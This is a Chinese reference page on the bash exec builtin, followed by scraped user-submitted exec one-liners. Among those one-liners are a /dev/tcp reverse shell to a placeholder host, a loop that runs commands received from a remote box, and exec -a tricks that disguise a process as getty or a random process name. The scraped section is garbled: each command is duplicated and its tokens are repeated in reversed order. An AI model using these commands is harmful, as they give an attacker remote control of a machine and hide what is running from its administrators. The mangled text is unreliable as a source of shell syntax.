exec

执行命令

语法

  exec [-cl] [-a name] [command [arguments]]

选项

  -l   命令的第0个参数的开头放置一个破折号.
       (这是login程序的功能.)

  -c   在空环境中执行命令.

  -a   shell将name作为命令的第0个参数传递.

如果提供了命令,它将替换shell而不创建新进程。如果未指定命令,则可以使用重定向来影响当前的shell环境.

如果没有重定向错误,则返回状态为0; 否则返回状态为非0.
exec是一个内置命令的bash

要从命令行运行可执行文件或shell脚本,通常不需要使用exec,只需在文件名前加上./
bash只搜索路径而不是文件的当前工作目录

要在当前工作目录中执行程序/脚本,请使用:

./file_name
or
./ScriptName 

实例

在shell中执行ls,ls结束后不返回原来的shell中了

exec ls

将file中的内容作为exec的标准输入

exec <file

将file中的内容作为标准写出

exec >file

exec 命令实例:

linux命令:exec systemd-inhibit --what = handle-lid-switch --mode = block bash bash block = --mode handle-lid-switch = --what systemd-inhibit exec exec systemd-inhibit --what = handle-lid-switch --mode = block bashrootopen.com
linux命令:exec systemd-inhibit --what = handle-lid-switch --mode = block bash bash block = --mode handle-lid-switch = --what systemd-inhibit exec exec systemd-inhibit --what = handle-lid-switch --mode = block bashrootopen.com
2018-08-19 23:15:29

linux命令:exec 3<>/dev/tcp/whatismyip.com/80; echo -e "GET /automation/n09230945.asp HTTP/1.0\r\nHost: whatismyip.com\r\n" >&3; a=( $(cat <&3) ); echo ${a[${#a[*]}-1]}; ${a[${#a[*]}-1]}; echo ); <&3) $(cat a=( >&3; whatismyip.com\r\n" HTTP/1.0\r\nHost: /automation/n09230945.asp "GET -e echo 3<>/dev/tcp/whatismyip.com/80; exec exec 3<>/dev/tcp/whatismyip.com/80; echo -e "GET /automation/n09230945.asp HTTP/1.0\r\nHost: whatismyip.com\r\n" >&3; a=( $(cat <&3) ); echo ${a[${#a[*]}-1]};rootopen.com
linux命令:exec 3<>/dev/tcp/whatismyip.com/80; echo -e "GET /automation/n09230945.asp HTTP/1.0\r\nHost: whatismyip.com\r\n" >&3; a=( $(cat <&3) ); echo ${a[${#a[*]}-1]}; ${a[${#a[*]}-1]}; echo ); <&3) $(cat a=( >&3; whatismyip.com\r\n" HTTP/1.0\r\nHost: /automation/n09230945.asp "GET -e echo 3<>/dev/tcp/whatismyip.com/80; exec exec 3<>/dev/tcp/whatismyip.com/80; echo -e "GET /automation/n09230945.asp HTTP/1.0\r\nHost: whatismyip.com\r\n" >&3; a=( $(cat <&3) ); echo ${a[${#a[*]}-1]};rootopen.com
2018-05-11 03:46:48

linux命令:exec bash bash exec exec bashrootopen.com
linux命令:exec bash bash exec exec bashrootopen.com
2018-04-14 09:16:48

linux命令:exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0; exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0 2>&0 1>&0 0</dev/tcp/hostname/port /bin/sh exec 2>&0; exec 1>&0; exec 0</dev/tcp/hostname/port; exec exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0; exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0rootopen.com
linux命令:exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0; exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0 2>&0 1>&0 0</dev/tcp/hostname/port /bin/sh exec 2>&0; exec 1>&0; exec 0</dev/tcp/hostname/port; exec exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0; exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0rootopen.com
2018-02-17 03:34:48

linux命令:exec 2>&1 2>&1 exec exec 2>&1rootopen.com
linux命令:exec 2>&1 2>&1 exec exec 2>&1rootopen.com
2018-03-04 17:44:48

linux命令:exec 3<&0; ls -1N | while read a; do echo "Rename file: $a"; read -e -i "$a" -p "To: " b <&3 ; [ "$a" == "$b" ] || mv -vi "$a" "$b"; done done "$b"; "$a" -vi mv || ] "$b" == "$a" [ ; <&3 b " "To: -p "$a" -i -e read $a"; file: "Rename echo do a; read while | -1N ls 3<&0; exec exec 3<&0; ls -1N | while read a; do echo "Rename file: $a"; read -e -i "$a" -p "To: " b <&3 ; [ "$a" == "$b" ] || mv -vi "$a" "$b"; donerootopen.com
linux命令:exec 3<&0; ls -1N | while read a; do echo "Rename file: $a"; read -e -i "$a" -p "To: " b <&3 ; [ "$a" == "$b" ] || mv -vi "$a" "$b"; done done "$b"; "$a" -vi mv || ] "$b" == "$a" [ ; <&3 b " "To: -p "$a" -i -e read $a"; file: "Rename echo do a; read while | -1N ls 3<&0; exec exec 3<&0; ls -1N | while read a; do echo "Rename file: $a"; read -e -i "$a" -p "To: " b <&3 ; [ "$a" == "$b" ] || mv -vi "$a" "$b"; donerootopen.com
2017-12-31 19:00:48

linux命令:exec -a "/sbin/getty 38400 tty7" your_cmd -erase_all_files -erase_all_files your_cmd tty7" 38400 "/sbin/getty -a exec exec -a "/sbin/getty 38400 tty7" your_cmd -erase_all_filesrootopen.com
linux命令:exec -a "/sbin/getty 38400 tty7" your_cmd -erase_all_files -erase_all_files your_cmd tty7" 38400 "/sbin/getty -a exec exec -a "/sbin/getty 38400 tty7" your_cmd -erase_all_filesrootopen.com
2018-01-09 10:27:48

linux命令:exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done done >&5; 2>&5 $line do line; read while | <&5 5<>/dev/tcp/<your-box>/8080;cat exec exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; donerootopen.com
linux命令:exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done done >&5; 2>&5 $line do line; read while | <&5 5<>/dev/tcp/<your-box>/8080;cat exec exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; donerootopen.com
2018-01-05 14:01:48

linux命令:exec 5<>/dev/tcp/time.nist.gov/13; cat <&5 & cat >&5; exec 5>&- 5>&- exec >&5; cat & <&5 cat 5<>/dev/tcp/time.nist.gov/13; exec exec 5<>/dev/tcp/time.nist.gov/13; cat <&5 & cat >&5; exec 5>&-rootopen.com
linux命令:exec 5<>/dev/tcp/time.nist.gov/13; cat <&5 & cat >&5; exec 5>&- 5>&- exec >&5; cat & <&5 cat 5<>/dev/tcp/time.nist.gov/13; exec exec 5<>/dev/tcp/time.nist.gov/13; cat <&5 & cat >&5; exec 5>&-rootopen.com
2018-05-14 17:35:48

linux命令:exec 0</dev/tty 0</dev/tty exec exec 0</dev/ttyrootopen.com
linux命令:exec 0</dev/tty 0</dev/tty exec exec 0</dev/ttyrootopen.com
2018-03-29 22:09:48

linux命令:exec -a "$(ps -fea | awk '{print $8}'| sort -R | head -n1)" your_command -sw1 -sw2 -sw2 -sw1 your_command -n1)" head | -R sort $8}'| '{print awk | -fea "$(ps -a exec exec -a "$(ps -fea | awk '{print $8}'| sort -R | head -n1)" your_command -sw1 -sw2rootopen.com
linux命令:exec -a "$(ps -fea | awk '{print $8}'| sort -R | head -n1)" your_command -sw1 -sw2 -sw2 -sw1 your_command -n1)" head | -R sort $8}'| '{print awk | -fea "$(ps -a exec exec -a "$(ps -fea | awk '{print $8}'| sort -R | head -n1)" your_command -sw1 -sw2rootopen.com
2018-02-12 09:33:48

Linux的Bash命令行(A-Z排序)